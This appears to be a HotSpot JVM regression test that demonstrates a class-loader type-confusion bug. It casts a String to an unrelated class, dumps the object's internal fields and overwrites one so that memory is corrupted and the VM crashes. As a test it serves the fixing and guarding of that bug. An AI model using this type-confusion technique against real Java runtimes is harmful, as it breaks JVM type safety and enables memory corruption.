Mercurial > jdk8-mips64-public > hotspot / file revision

 import java.lang.reflect.*;

 import java.security.*;

 abstract public class bug_21227 {

   // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned

   public static Object _p0wnee;

   public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {

     System.out.println("Warmup");

     // Make a Class 'many_loader' under the default loader

     bug_21227 bug = new many_loader();

     // Some classes under a new Loader, LOADER2, including another version of 'many_loader'

     ClassLoader LOADER2 = new Loader2();

     Class clazz2 = LOADER2.loadClass("from_loader2");

     IFace iface = (IFace)clazz2.newInstance();

     // Set the victim, a String of length 6

     String s = "victim";

     _p0wnee = s;

     // Go cast '_p0wnee' to type You_Have_Been_P0wned

     many_loader[] x2 = bug.make(iface);

     many_loader b = x2[0];

     // Make it clear that the runtime type many_loader (what we get from the

     // array X2) varies from the static type of many_loader.

     Class cl1 = b.getClass();

     ClassLoader ld1 = cl1.getClassLoader();

     Class cl2 = many_loader.class;

     ClassLoader ld2 = cl2.getClassLoader();

     System.out.println("bug.make()  "+ld1+":"+cl1);

     System.out.println("many_loader "+ld2+":"+cl2);

     // Read the victims guts out

     You_Have_Been_P0wned q = b._p0wnee;

     System.out.println("q._a = 0x"+Integer.toHexString(q._a));

     System.out.println("q._b = 0x"+Integer.toHexString(q._b));

     System.out.println("q._c = 0x"+Integer.toHexString(q._c));

     System.out.println("q._d = 0x"+Integer.toHexString(q._d));

     System.out.println("I will now crash the VM:");

     // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM

     //q._c = 3;

     q._a = -1;

     System.out.println(s);

   }

   // I need to compile (hence call in a loop) a function which returns a value

   // loaded from classloader other than the system one.  The point of this

   // call is to give me an abstract 'hook' into a function loaded with a

   // foreign loader.

   public abstract many_loader[] make( IFace iface ); // abstract factory

 }